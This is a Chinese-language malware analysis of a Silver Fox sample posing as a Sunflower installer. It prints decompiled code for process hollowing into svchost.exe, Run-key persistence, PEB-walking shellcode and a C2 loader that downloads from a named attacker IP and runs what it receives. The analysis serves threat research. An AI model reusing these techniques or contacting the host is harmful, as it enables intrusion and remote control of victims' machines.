伪装成向日葵安装程序的最新银狐样本分析

一、样本来源

从某个模仿向日葵安装程序钓鱼页面获取到了一个银狐的样本
伪装成向日葵安装程序的最新银狐样本分析
下载之后得到如下exe程序
伪装成向日葵安装程序的最新银狐样本分析
通过威胁情报平台查询样本请求的域名可以得知这是银狐组织的投放的恶意文件
伪装成向日葵安装程序的最新银狐样本分析

二、样本基本信息

文件名: setup.exe
大小: 4.47mb
架构: 386
模式: 32 位
类型: EXEC
字节序: LE
MD5: be52bf67620b2028155a205dbe21b20b
SHA1: b114d1141c6c20db9cf8be98f5cc6ec83ad858ad
SHA256: 33a82eeca2f168ceb6cd533586350d42a5eafaf152649d78e44f95f4188ab6c8

三、执行流程分析

该样本执行流程如下,通过一系列的操作执行了一段用于远控的shellcode:
伪装成向日葵安装程序的最新银狐样本分析
该样本目前在VT上只有2个检出,其中很大一部分原因是因为远程服务器已经不能访问了:
伪装成向日葵安装程序的最新银狐样本分析

四、详细分析

前期加载流程

拖入DIE,发现这是一个MFC程序:
伪装成向日葵安装程序的最新银狐样本分析
拖入IDA分析,首先会隐藏窗口:
  CWnd::ShowWindow(this[8], 0);
动态加载函数:
 strcpy(LibFileName, "kernel32.dll");
  LibraryA = LoadLibraryA(LibFileName);
  v3 = LibraryA;
  if ( !LibraryA )
    return 0;
  strcpy(v15, "eA");
  *(__m128i *)ProcName = _mm_load_si128((const __m128i *)&xmmword_7FF614313700);
  GetModuleFileNameA = GetProcAddress(LibraryA, ProcName);
  if ( !GetModuleFileNameA )
  {
    FreeLibrary(v3);
    return 0;
  }
  ((void (__fastcall *)(_QWORD, char *, __int64))GetModuleFileNameA)(0i64, Src, 260i64);
获取SeDebugPrivilege特权:
 v0 = 0i64;
  OldValue[0] = 0;
  Dst[2] = 0i64;
  Dst[3] = 0i64;
  Src = _mm_load_si128((const __m128i *)&xmmword_7FF6143136B0);
  strcpy(v6, "ge");
  std::string::_Tidy(Dst, 0i64, 0i64);
  if ( Src.m128i_i8[0] )
  {
    v0 = -1i64;
    do
      ++v0;
    while ( Src.m128i_i8[v0] );
  }
  sub_7FF6140994A0(Dst, Src.m128i_i8, v0);
  v1 = RtlAdjustPrivilege(0x14u, 1u0, OldValue);
  sub_7FF61409F210(Dst, v1);
  return OldValue[0];
遍历快照搜索进程svchost.exe:
  sub_7FF61409AAD0(v20, v2, (char *)a1 + v1[2]);
  memset(&pe.cntUsage, 00x234ui64);
  pe.dwSize = 568;
  Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u0);
  v4 = Toolhelp32Snapshot;
  if ( Toolhelp32Snapshot == (HANDLE)-1i64 )
  {
    v17[0] = 0i64;
    v17[1] = 0i64;
    v18 = "无法创建进程快照";
    v19 = 1;
    _std_exception_copy(&v18, v17);
    pExceptionObject = &std::runtime_error::`vftable';
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  if ( !Process32FirstW(Toolhelp32Snapshot, &pe) )
  {
LABEL_17:
    CloseHandle(v4);
    v15 = sub_7FF61409AB60(&v18, v14, v1);
    sub_7FF614095A80(&pExceptionObject, v15);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  v5 = v20[3];
  v6 = v20[0];
  while ( 1 )
  {
    v7 = v20;
    if ( v5 >= 8 )
      v7 = (__int64 *)v6;
    v8 = (char *)((char *)pe.szExeFile - (char *)v7);
    do
    {
      v9 = *(unsigned __int16 *)&v8[(_QWORD)v7];
      v10 = *(unsigned __int16 *)v7 - v9;
      if ( v10 )
        break;
      v7 = (__int64 *)((char *)v7 + 2);
    }
    while ( v9 );
    if ( !v10 )
      break;
    if ( !Process32NextW(v4, &pe) )
      goto LABEL_17;
  }
拼接生成字符串:
     Src[0] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313640);
      Src[1] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313620);
      Src[2] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF6143136C0);
      Src[3] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313730);
      Src[4] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313580);
      Src[5] = (__int128)_mm_load_si128((const __m128i *)&xmmword_7FF614313610);
      strcpy(v91, "lQE=");
拼接的字符串为后面释放的一个文件的内容 :
伪装成向日葵安装程序的最新银狐样本分析
请求http://8.212.100.188/POOTdigitSix.bin获取下一阶段数据:
 v4 = InternetOpenW(L"MyApp"1u0i64, 0i64, 0);
  v5 = v4;
  if ( !v4 )
  {
    v9[0] = 0i64;
    v9[1] = 0i64;
    v11 = "InternetOpen failed";
    v12 = 1;
    _std_exception_copy(&v11, v9);
    pExceptionObject = &std::runtime_error::`vftable';
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  v6 = InternetOpenUrlW(v4, a2, 0i64, 00x800000000i64);
  if ( !v6 )
  {
    InternetCloseHandle(v5);
    sub_7FF614095AF0(&pExceptionObject, "InternetOpenUrl failed");
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  do
  {
    if ( !InternetReadFile(v6, Buffer, 0x1000u, &dwNumberOfBytesRead) )
    {
      InternetCloseHandle(v6);
      InternetCloseHandle(v5);
      sub_7FF614095AF0(&pExceptionObject, "InternetReadFile failed");
      CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
    }
    sub_7FF61409B030(a1, a1[1], Buffer, &Buffer[dwNumberOfBytesRead]);
  }
  while ( dwNumberOfBytesRead );
  InternetCloseHandle(v6);
  InternetCloseHandle(v5);
base64解码:
_QWORD *__fastcall sub_7FF614096990(_QWORD *a1, _QWORD *a2)
{
  if ( (_DWORD)v5 )
  {
    v7 = 0i64;
    v8 = 0i64;
    do
    {
      LODWORD(v5) = v5 - 1;
      v9 = a2[3];
      if ( v9 < 0x10 )
        v10 = a2;
      else
        v10 = (_QWORD *)*a2;
      if ( *((_BYTE *)v10 + v7) == '=' )
        break;
      v11 = v9 < 0x10 ? a2 : (_QWORD *)*a2;
      v12 = *((_BYTE *)v11 + v7);
      if ( !isalnum(v12) && ((v12 - 43) & 0xFB) != 0 )
        break;
      if ( a2[3] < 0x10ui64 )
        v13 = a2;
      else
        v13 = (_QWORD *)*a2;
      *(&v30 + v8) = *((_BYTE *)v13 + v7);
      ++v6;
      ++v8;
      ++v7;
      if ( v8 == 4 )
      {
        for ( i = 0i64; i < 4; ++i )
          *(&v30 + i) = (unsigned __int8)strchr(
                                           "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
                                           (unsigned __int8)*(&v30 + i))
                      - (unsigned __int8)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        v37 = 4 * v30 + ((v31 >> 4) & 3);
        v38 = 16 * v31 + ((v32 >> 2) & 0xF);
        v39 = v33 + (v32 << 6);
        for ( j = 0i64; j < 3; ++j )
        {
          v16 = a1[1];
          v17 = &v37 + j;
          if ( (unsigned __int64)(&v37 + j) >= v16 || *a1 > (unsigned __int64)v17 )
          {
            if ( v16 == a1[2] )
              sub_7FF614099090(a1, 1i64);
            v20 = (char *)a1[1];
            if ( v20 )
              *v20 = *v17;
          }
          else
          {
            v18 = &v17[-*a1];
            if ( v16 == a1[2] )
              sub_7FF614099090(a1, 1i64);
            v19 = (_BYTE *)a1[1];
            if ( v19 )
              *v19 = v18[*a1];
          }
          ++a1[1];
        }
        v6 = 0;
        v8 = 0i64;
      }
    }
    while ( (_DWORD)v5 );
    if ( v6 )
    {
      v21 = v6;
      v22 = (unsigned __int64)v6 < 4;
      if ( v6 < 4i64 )
      {
        do
        {
          if ( !v22 )
            _report_rangecheckfailure();
          *(&v30 + v21++) = 0;
          v22 = (unsigned __int64)v21 < 4;
        }
        while ( v21 < 4 );
      }
      do
      {
        *(&v30 + v4) = (unsigned __int8)strchr(
                                          "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
                                          (unsigned __int8)*(&v30 + v4))
                     - (unsigned __int8)"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        ++v4;
      }
      while ( v4 < 4 );
      v37 = 4 * v30 + ((v31 >> 4) & 3);
      v38 = 16 * v31 + ((v32 >> 2) & 0xF);
      v23 = (unsigned int)(v6 - 1);
      if ( (int)v23 > 0 )
      {
        v24 = &v37;
        do
        {
          v25 = a1[1];
          if ( (unsigned __int64)v24 >= v25 || *a1 > (unsigned __int64)v24 )
          {
            if ( v25 == a1[2] )
              sub_7FF614099090(a1, 1i64);
            v28 = (char *)a1[1];
            if ( v28 )
              *v28 = *v24;
          }
          else
          {
            v26 = &v24[-*a1];
            if ( v25 == a1[2] )
              sub_7FF614099090(a1, 1i64);
            v27 = (_BYTE *)a1[1];
            if ( v27 )
              *v27 = v26[*a1];
          }
          ++a1[1];
          ++v24;
          --v23;
        }
        while ( v23 );
      }
    }
  }
  return a1;
}
再次请求http://8.212.100.188/tomemb.exe下载数据:
  wcscpy(ModuleName, L"wininet.dll");
  v2 = 0;
  Src[0] = 7209033;
  Src[1] = 6619252;
  Src[2] = 7209074;
  Src[3] = 7602277;
  Src[4] = 7077955;
  Src[5] = 7536751;
  Src[6] = 4718693;
  Src[7] = 7209057;
  Src[8] = 7077988;
  Src[9] = 101;
  ModuleHandleW = GetModuleHandleW(ModuleName);
  v4 = ModuleHandleW;
  if ( ModuleHandleW )
  {
    v11 = 0i64;
    v12 = 0i64;
    sub_7FF614099110((const void **)WideCharStr, 00i64);
    if ( LOWORD(Src[0]) )
    {
      v5 = -1i64;
      do
        ++v5;
      while ( *((_WORD *)Src + v5) );
    }
    else
    {
      v5 = 0i64;
    }
    sub_7FF614099190((void **)WideCharStr, (char *)Src, (void *)v5);
    v6 = (const CHAR *)sub_7FF6140968B0(Dst, WideCharStr);
    if ( *((_QWORD *)v6 + 3) >= 0x10ui64 )
      v6 = *(const CHAR **)v6;
    ProcAddress = GetProcAddress(v4, v6);
    LOBYTE(v8) = 1;
    std::string::_Tidy(Dst, v8, 0i64);
    sub_7FF614099110((const void **)WideCharStr, 10i64);
    if ( ProcAddress )
      v2 = ((__int64 (__fastcall *)(__int64))ProcAddress)(a1);
    LOBYTE(ModuleHandleW) = v2 != 0;
执行释放的exe:
int __fastcall sub_7FF614097A50(__int64 a1)
{
  HMODULE LibraryW; // rax
  HMODULE v3; // rbx
  HINSTANCE (__stdcall *ShellExecuteW)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, INT); // rax
  int v6[2]; // [rsp+30h] [rbp-38h] BYREF
  __int16 v7; // [rsp+38h] [rbp-30h]
  WCHAR LibFileName[12]; // [rsp+40h] [rbp-28h] BYREF

  wcscpy(LibFileName, L"Shell32.dll");
  LibraryW = LoadLibraryW(LibFileName);
  v3 = LibraryW;
  if ( LibraryW )
  {
    ShellExecuteW = (HINSTANCE (__stdcall *)(HWND, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, INT))GetProcAddress(
                                                                                              LibraryW,
                                                                                              "ShellExecuteW");
    if ( ShellExecuteW )
    {
      v6[0] = 7340143;
      v6[1] = 7209061;
      v7 = 0;
      ((void (__fastcall *)(_QWORD, int *, __int64, _QWORD, _QWORD, int))ShellExecuteW)(0i64, v6, a1, 0i64, 0i64, 1);
    }
    LODWORD(LibraryW) = FreeLibrary(v3);
  }
  return (int)LibraryW;
}
在C:UsersPublic目录下被释放文件如下:
伪装成向日葵安装程序的最新银狐样本分析

白加黑执行dll

释放的exe信息如下,是一个名叫嵌入式浏览器的白文件:
伪装成向日葵安装程序的最新银狐样本分析

IDA分析,可以发现该exe的主要流程就是尝试加载两个dll,加载完就结束程序:
伪装成向日葵安装程序的最新银狐样本分析
加载函数:
 wcscpy(LibFileName, L"kernel32.dll");
    wcscpy(v11, L"Shlwapi.dll");
    LibraryW = LoadLibraryW(LibFileName);
    v4 = LoadLibraryW(v11);
    if ( LibraryW && v4 )
    {
      strcpy(v7, "GetModuleFileNameW");
      strcpy(v9, "DisableThreadLibraryCalls");
      strcpy(v8, "PathRemoveFileSpecW");
      strcpy(ProcName, "MoveFileExW");
      strcpy(v15, "PathAppendW");
      strcpy(v6, "PathFileExistsW");
      MoveFileExW = (BOOL (__stdcall *)(LPCWSTR, LPCWSTR, DWORD))GetProcAddress(LibraryW, ProcName);
      GetModuleFileNameW_0 = (DWORD (__stdcall *)(HMODULE, LPWSTR, DWORD))GetProcAddress(LibraryW, v7);
      DisableThreadLibraryCalls = (BOOL (__stdcall *)(HMODULE))GetProcAddress(LibraryW, v9);
      PathRemoveFileSpecW = (BOOL (__stdcall *)(LPWSTR))GetProcAddress(v4, v8);
      PathAppendW = (BOOL (__stdcall *)(LPWSTR, LPCWSTR))GetProcAddress(v4, v15);
      PathFileExistsW = (BOOL (__stdcall *)(LPCWSTR))GetProcAddress(v4, v6);
    }
拼接字符串,其中字符串的内容为释放的文件的文件名:
  v16[0] = 't';
    v16[1] = 'o';
    v16[10] = '';
    v16[2] = 'm';
    v16[4] = 'm';
    v15[1] = 'i';
    v15[0] = 'l';
    v15[8] = 'l';
    v15[9] = 'l';
    v16[5] = 'b';
    v15[2] = 'b';
    v15[5] = 'b';
    v15[10] = 0;
    v17[0] = 't';
    v17[1] = 'o';
    v17[4] = 'o';
    v17[6] = '';
    v16[3] = 'e';
    v16[6] = '.';
    v16[7] = 'e';
    v16[8] = 'x';
    v16[9] = 'e';
    v15[3] = 'e';
    v15[4] = 'm';
    v15[6] = '.';
    v15[7] = 'd';
    v17[2] = 'm';
    v17[3] = '.';
    v17[5] = 'x';
判断函数是否被加载,并把C:UsersPublic释放的文件移动到C:UsersPublicDocuments
BOOL __cdecl sub_738EAE75(const WCHAR *a1)
{
  wchar_t Destination[260]; // [esp+8h] [ebp-858h] BYREF
  wchar_t ExistingFileName[260]; // [esp+210h] [ebp-650h] BYREF
  wchar_t Filename[260]; // [esp+418h] [ebp-448h] BYREF
  wchar_t NewFileName[260]; // [esp+620h] [ebp-240h] BYREF
  wchar_t Source[26]; // [esp+828h] [ebp-38h] BYREF

  if ( !MoveFileExW )
    return 0;
  if ( !GetModuleFileNameW_0 )
    return 0;
  if ( !PathRemoveFileSpecW )
    return 0;
  if ( !PathAppendW )
    return 0;
  if ( !PathFileExistsW )
    return 0;
  wcscpy(Source, L"C:\Users\Public\Documents");
  wcscpy_s(Destination, 0x104u, Source);
  if ( !GetModuleFileNameW_0(0, Filename, 0x104u) )
    return 0;
  PathRemoveFileSpecW(Filename);
  wcscpy_s(NewFileName, 0x104u, Destination);
  if ( !PathAppendW(NewFileName, a1) )
    return 0;
  if ( PathFileExistsW(NewFileName) )
    return 1;
  wcscpy_s(ExistingFileName, 0x104u, Filename);
  return PathAppendW(ExistingFileName, a1) && MoveFileExW(ExistingFileName, NewFileName, 1u);
}
解密刚刚释放的文件tom.ox
wcscpy(FileName, L"C:\Users\Public\Documents\tom.ox");
  FileW = CreateFileW(FileName, 0x800000001u03u0x80u, 0);
  v12 = 0;
  if ( FileW )
  {
    FileSize = GetFileSize(FileW, 0);
    v2 = FileSize;
    if ( FileSize )
    {
      v3 = (void *)sub_738EDE97(FileSize + 1);
      LOBYTE(v12) = 1;
      ReadFile(FileW, v3, v2, &NumberOfBytesRead, 0);
      Block = 0;
      v8 = 0;
      *((_BYTE *)v3 + NumberOfBytesRead) = 0;
      if ( (unsigned __int8)sub_738EB3D5((LPCSTR)v3, (int)&Block, (int)&v8) )
      {
        v4 = Block;
        v10[0] = 341013025;
        v10[1] = -1196976507;
        v10[2] = -51651895;
        v10[3] = 808394253;
        v11[0] = -752399457;
        v11[1] = 718114385;
        v11[2] = 1453407423;
        v11[3] = 1033533668;
        sub_738EB4BF(Block, v8, v10, 16, v11, 16);
        sub_738D1000(v4);
        j___free_base_0(v4);
      }
      if ( v3 )
        j_j_j___free_base_0(v3);
    }
  }
  if ( FileW && FileW != (HANDLE)-1 )
    CloseHandle(FileW);
  return 0;
对文件进行解密并分配0x015c00大小的空间:
char __cdecl sub_74C07B84(LPCSTR pszString, void **a2, DWORD *a3)
{
  char result; // al
  BYTE *v4; // eax
  DWORD pcbBinary; // [esp+Ch] [ebp-8h] BYREF

  pcbBinary = 0;
  if ( !CryptStringToBinaryA(pszString, 01u0, &pcbBinary, 00) )
    return 0;
  v4 = (BYTE *)malloc(pcbBinary);
  *a2 = v4;
  if ( !v4 )
    return 0;
  if ( !CryptStringToBinaryA(pszString, 01u, v4, &pcbBinary, 00) )
  {
    j___free_base(*a2);
    *a2 = 0;
    return 0;
  }
  result = 1;
  *a3 = pcbBinary;
  return result;
}
由于是解密文件并在内存中执行,分析起来比较麻烦,因此将其dump下来:
  auto fp, begin, end, dexbyte;
  fp = fopen("D:\dump.dex""wb");
  begin = 0x01050FF0;
  end = 0x01050FF0+0x015c00;
  for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
      fputc(Byte(dexbyte), fp);

反射加载dll

然后就可以得到一个dll文件:
伪装成向日葵安装程序的最新银狐样本分析
对数据进行初始化:
伪装成向日葵安装程序的最新银狐样本分析
创建进程svchost.exe:
struct _PROCESS_INFORMATION ProcessInformation; // [esp+1314h] [ebp-58h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+1324h] [ebp-48h] BYREF

  memset(&StartupInfo, 0sizeof(StartupInfo));
  StartupInfo.cb = 68;
  ProcessInformation = 0i64;
  result = CreateProcessA(0, (LPSTR)"svchost.exe"0000x8000004u, 00, &StartupInfo, &ProcessInformation);
进程注入:

BOOL __fastcall sub_74C22DA0(HANDLE hProcess, HANDLE hThread, const void *a3)
{
  BOOL result; // eax
  void *v6; // esi
  CONTEXT Context; // [esp+Ch] [ebp-2D4h] BYREF
  SIZE_T NumberOfBytesWritten; // [esp+2D8h] [ebp-8h] BYREF

  memset(&Context, 0sizeof(Context));
  Context.ContextFlags = 65543;
  result = GetThreadContext(hThread, &Context);
  if ( result )
  {
    v6 = VirtualAllocEx(hProcess, 00x985u, 0x3000u, 0x40u);
    if ( !v6 )
      return 0;
    if ( !WriteProcessMemory(hProcess, v6, a3, 0x985u, &NumberOfBytesWritten)
      || (Context.Eip = (DWORD)v6, !SetThreadContext(hThread, &Context)) )
    {
      VirtualFreeEx(hProcess, v6, 00x8000u);
      return 0;
    }
    return 1;
  }
  return result;
}

挂起线程:
    if ( sub_74C22DA0(ProcessInformation.hProcess, ProcessInformation.hThread, (int)v8) )
    {
      ResumeThread(ProcessInformation.hThread);
      hProcess = ProcessInformation.hProcess;
      CloseHandle(ProcessInformation.hThread);
      CloseHandle(hProcess);
      return 1;
    }
    else
    {
      v6 = ProcessInformation.hProcess;
      CloseHandle(ProcessInformation.hThread);
      CloseHandle(v6);
      return 0;
    }
  }
添加自启动注册表:
BOOL sub_74C22BF0()
{
  int v1; // eax
  LSTATUS v2; // esi
  HKEY phkResult; // [esp+0h] [ebp-8h] BYREF

  if ( RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\Microsoft\Windows\CurrentVersion\Run"00x2001Fu, &phkResult) )
    return 0;
  v1 = lstrlenW(L"C:\Users\Public\Documents\tomemb.exe");
  v2 = RegSetValueExW(
         phkResult,
         L"tomemb",
         0,
         1u,
         (const BYTE *)L"C:\Users\Public\Documents\tomemb.exe",
         2 * v1 + 2);
  RegCloseKey(phkResult);
  return v2 == 0;
}
将释放的文件设置为隐藏:
  for ( i = v18; i != v7; i += 24 )
    {
      if ( *(_DWORD *)(i + 20) < 8u )
        v9 = (const WCHAR *)i;
      else
        v9 = *(const WCHAR **)i;
      FileAttributesW = GetFileAttributesW(v9);
      if ( FileAttributesW != -1 && (FileAttributesW & 6) != 6 )
      {
        v11 = FileAttributesW | 6;
        if ( *(_DWORD *)(i + 20) < 8u )
          v12 = (const WCHAR *)i;
        else
          v12 = *(const WCHAR **)i;
        SetFileAttributesW(v12, v11);
      }

系统进程注入

接下来分析注入的shellcode,通过hex查看可以很明显出是银狐组织c2的特征:
伪装成向日葵安装程序的最新银狐样本分析
通过遍历peb表获取函数地址:
  for ( i = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink; ; i = i->Flink )
  {
    if ( !i )
    {
      v5 = 0;
      goto LABEL_10;
    }
    Flink = i[5].Flink;
    v2 = LOWORD(i[4].Blink) >> 1;
    for ( j = 0; v2; --v2 )
    {
      Flink_low = LOWORD(Flink->Flink);
      Flink = (struct _LIST_ENTRY *)((char *)Flink + 2);
      if ( Flink_low >= 0x61 )
        LOWORD(Flink_low) = Flink_low - 32;
      j = (unsigned __int16)Flink_low + 131 * j;
    }
    if ( (j & 0x7FFFFFFF) == 483040486 )
      break;
  }
  v5 = (int)i[2].Flink;
LABEL_10:
   v13 = (int (__stdcall *)(int, _BYTE *))sub_12A0744(v5, 4483789640);
  LoadLibraryA = (int (__stdcall *)(char *))sub_12A0744(v5, 2132811640, v13);
  VirtualAlloc = (int (__stdcall *)(_DWORD, _DWORD, intint))sub_12A0744(v5, 1586050146, v13);
  v16 = sub_12A0744(v5, 105414771, v13);
  v17 = sub_12A0744(v5, 1885139621, v13);
  strcpy(v11, "ntdll");
  v6 = LoadLibraryA(v11);
  RtlZeroMemory = (void (__stdcall *)(int, _DWORD))sub_12A0744(v6, 229997003, v13);
  RtlMoveMemory = (void (__stdcall *)(intint, _DWORD))sub_12A0744(v6, 353954240, v13);
尝试连接恶意服务器并通过接收的命令进行相关操作:
v8 = *(_DWORD *)(v32 + 32) + *(_DWORD *)(v32 + 44);
  strcpy(v12, "Ws2_32.dll");
  v33 = v32 + 2 * v8 + 56;
  v9 = LoadLibraryA(v12);
  WSAStartup = (int (__stdcall *)(intchar *))sub_12A0744(v9, 861021748, v13);
  v21 = sub_12A0744(v9, 641740191, v13);
  v22 = sub_12A0744(v9, 1095996673, v13);
  v23 = sub_12A0744(v9, 2019458519, v13);
  v24 = sub_12A0744(v9, 825918664, v13);
  v25 = sub_12A0744(v9, 153833690, v13);
  v26 = sub_12A0744(v9, 260278236, v13);
  v27 = sub_12A0744(v9, 258028722, v13);
  v28 = sub_12A0744(v9, 346822171, v13);
  v29 = sub_12A0744(v9, 1341402319, v13);
  if ( !WSAStartup(514, v36) )
  {
    while ( 1 )
    {
      if ( *(_BYTE *)(v32 + 40) )
        ((void (__cdecl *)(int))unk_12A033A)(1);
      else
        ((void (__cdecl *)(int))unk_12A04DC)(1);
      if ( *(_BYTE *)(v32 + 52) )
        ((void (__cdecl *)(int))unk_12A033A)(2);
      else
        ((void (__cdecl *)(int))unk_12A04DC)(2);
    }
  }
  return 0;
}
向服务器发送信息:
int __usercall sub_12A033A@<eax>(int function_box@<ebx>, int a2)
{
  int socket_return; // eax
  int VirtualAlloc_return; // eax
  int v4; // eax
  _DWORD *v5; // esi
  int v6; // eax
  int v7; // eax
  int v8; // edi
  int v9; // esi
  int v10; // ecx
  int v11; // eax
  void (__stdcall *v12)(_DWORD); // eax
  int result; // eax
  int v14; // [esp-10h] [ebp-28h]
  int v15; // [esp+8h] [ebp-10h]
  int v16; // [esp+Ch] [ebp-Ch] BYREF
  int v17; // [esp+10h] [ebp-8h]
  char v18[4]; // [esp+14h] [ebp-4h] BYREF

  v17 = 0;
  v16 = 0;
  socket_return = (*(int (__stdcall **)(intintint))(function_box + 32))(216);// socket
  *(_DWORD *)(function_box + 68) = socket_return;
  if ( socket_return != -1 )
  {
    VirtualAlloc_return = (*(int (__stdcall **)(_DWORD, intintint))(function_box + 8))(05243021228864);// VirtualAlloc
    *(_DWORD *)(function_box + 88) = VirtualAlloc_return;
    if ( VirtualAlloc_return )
    {
      v4 = a2 == 1 ? *(_DWORD *)(function_box + 100) : *(_DWORD *)(function_box + 104);
      if ( !(*(int (__stdcall **)(int, _DWORD, _DWORD, int *))(function_box + 36))(v4, 00, &v16) )// getaddrinfo
      {
        v5 = *(_DWORD **)(v16 + 24);
        v6 = *(_DWORD *)(function_box + 92);
        *(_DWORD *)(function_box + 72) = *v5++;
        *(_DWORD *)(function_box + 76) = *v5++;
        *(_DWORD *)(function_box + 80) = *v5;
        *(_DWORD *)(function_box + 84) = v5[1];
        v7 = a2 == 1 ? *(_DWORD *)(v6 + 36) : *(_DWORD *)(v6 + 48);
        *(_WORD *)(function_box + 74) = (*(int (__stdcall **)(int))(function_box + 44))(v7);// htons
        if ( (*(int (__stdcall **)(_DWORD, intint))(function_box
                                                    + 48))(// connect
               *(_DWORD *)(function_box + 68),
               function_box + 72,
               16) != -1 )
        {
          v14 = *(_DWORD *)(function_box + 68);
          strcpy(v18, "32");
          if ( (*(int (__stdcall **)(intchar *, int, _DWORD))(function_box + 52))(v14, v18, 30) > 0 )// send
          {
            v8 = 0;
            v17 = (*(int (__stdcall **)(_DWORD, intintint))(function_box + 8))(0317440122884);// VirtualAlloc
            if ( v17 )
            {
              while ( 1 )
              {
                v9 = (*(int (__stdcall **)(_DWORD, intint, _DWORD))(function_box
                                                                    + 56))(// recv
                       *(_DWORD *)(function_box + 68),
                       v17,
                       102400,
                       0);
                if ( v9 <= 0 )
                  break;
                (*(void (__stdcall **)(intintint))(function_box + 24))(v8 + *(_DWORD *)(function_box + 88), v17, v9);// RtlMoveMemory
                v8 += v9;
                if ( v8 == 307214 )
                {
                  (*(void (__stdcall **)(int, _DWORD, int))(function_box + 12))(v17, 00x8000);// VirtualFree
                  v10 = *(_DWORD *)(function_box + 88);
                  *(_DWORD *)(function_box + 88) = v10 + 14;
                  v17 = 0;
                  v15 = 0;
                  while ( 1 )
                  {
                    v11 = v17;
                    *(_BYTE *)(v17 + *(_DWORD *)(function_box + 88)) ^= *(unsigned __int8 *)(v15 + v10 + 4) % 1989 + 54;
                    ++v15;
                    if ( !(v11 % 10) )
                      v15 = 0;
                    if ( ++v17 >= 307214 )
                    {
                      v12 = (void (__stdcall *)(_DWORD))(*(int (**)(void))(function_box + 88))();// loader dll
                      v12(*(_DWORD *)(function_box + 96));
                      while ( 1 )
                        ;
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  if ( v16 )
    (*(void (__stdcall **)(int))(function_box + 40))(v16);
  if ( *(_DWORD *)(function_box + 68) != -1 )
    (*(void (__stdcall **)(_DWORD))(function_box + 60))(*(_DWORD *)(function_box + 68));
  result = *(_DWORD *)(function_box + 88);
  if ( result )
    result = (*(int (__stdcall **)(int, _DWORD, int))(function_box + 12))(result, 00x8000);
  if ( v17 )
    return (*(int (__stdcall **)(int, _DWORD, int))(function_box + 12))(v17, 00x8000);
  return result;
}
加载一个名叫“上线模块”的dll:
伪装成向日葵安装程序的最新银狐样本分析

再次反射加载dll执行远控

经过动态调试,可以获得部分调用的api:
void __cdecl sub_13F6400(const __m128i *a1)
{
  int v1; // eax

  if ( !hObject )
  {
    v1 = lstrlenW((LPCWSTR)a1);
    sub_13FC940((unsigned int)aXiugaishiyong, a1, 2 * v1 + 2);
    sub_13F5E30();
    hObject = CreateThread(00, StartAddress, 000);
    WaitForSingleObject(hObject, 0xFFFFFFFF);
    CloseHandle(hObject);
  }
}
首先对字符串进行解密:
    ((void (__cdecl *)(wchar_t *))sub_13F7640)(aXiugaishiyong);
    ((void (__cdecl *)(void *, _DWORD, int))sub_13FC8C0)(&unk_140C6E0, 04768);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP1, &unk_140C6FE, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO1, &unk_140C8FC, 0);
    ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT1, 0, &dword_140C938);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP2, &unk_140C93C, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO2, &unk_140CB3A, 0);
    ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT2, 0, &dword_140CB78);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aP3, &unk_140CB7C, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aO3, &unk_140CD7A, 0);
    ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aT3, 0, &dword_140CDB8);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aDd, &unk_140CDBC, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aCl, &unk_140CDF8, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aFz, &unk_140CE34, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aBb, &unk_140CE98, 0);
    ((void (__cdecl *)(wchar_t *, void *, _DWORD))decode_str)(aBz, &unk_140CEFC, 0);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aJp, 0, &unk_140CF60);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aSx, 0, &unk_140CF64);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aBh, 0, &unk_140CF68);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aLl, 0, &unk_140CF6C);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aDl, 0, &unk_140CF70);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aSh, 0, &unk_140CF74);
    ((void (__cdecl *)(wchar_t *, _DWORD, int *))decode_str)(aKl, 0, &dword_140CF78);
    ((void (__cdecl *)(wchar_t *, _DWORD, void *))decode_str)(aBd, 0, &unk_140CF7C);
